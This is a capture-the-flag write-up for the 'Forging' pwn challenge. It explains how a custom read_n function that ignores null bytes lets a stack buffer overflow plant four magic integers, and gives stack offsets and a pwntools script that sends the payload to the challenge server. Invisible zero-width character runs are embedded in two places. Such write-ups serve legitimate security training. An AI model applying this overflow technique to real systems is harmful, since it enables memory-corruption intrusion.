Forging

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-10 | Status: Solved Techniques: custom_read_exploitation, little_endian_encoding, null_byte_injection

Summary

Task: overflow a buffer to overwrite four magic integer values containing null bytes. Solution: exploit a custom read_n function that reads byte-by-byte and does not stop on null bytes, allowing injection of values with embedded \x00 via little-endian packing.

Forging — SPB CTF Pwn Season

Description

"Hi! This is your binary"

Server: nc 109.233.56.90 11578 Binary: forging — ELF 64-bit x86-64, not stripped

Analysis

Buffer overflow to overwrite four magic integer values. Stack layout analysis:

• Buffer location: rbp-0x150
• Magic values: rbp-0x130 (32 bytes offset from buffer)
• read_n limit: 49 bytes (enough for 32 padding + 16 bytes of magic)

Target magic values (little-endian with null bytes):

• 0x00cafeba
• 0x00bedead
• 0x00beef11
• 0x00ff2211 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The trick: The read_n function reads byte-by-byte and only stops on newline, not null bytes. This allows "forging" of values with embedded nulls — hence the task name.

Solution

 python read-only • copy allowed Copy
from pwn import *

payload = b'A' * 32
payload += p32(0xcafeba)   # Note: high byte 0x00 is implicit
payload += p32(0xbedead)
payload += p32(0xbeef11)
payload += p32(0xff2211)

io = remote('109.233.56.90', 11578)
io.sendline(payload)
io.interactive()

Key insight: Standard C string functions stop at null bytes, but this custom read_n function doesn't, allowing us to inject values containing \x00. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍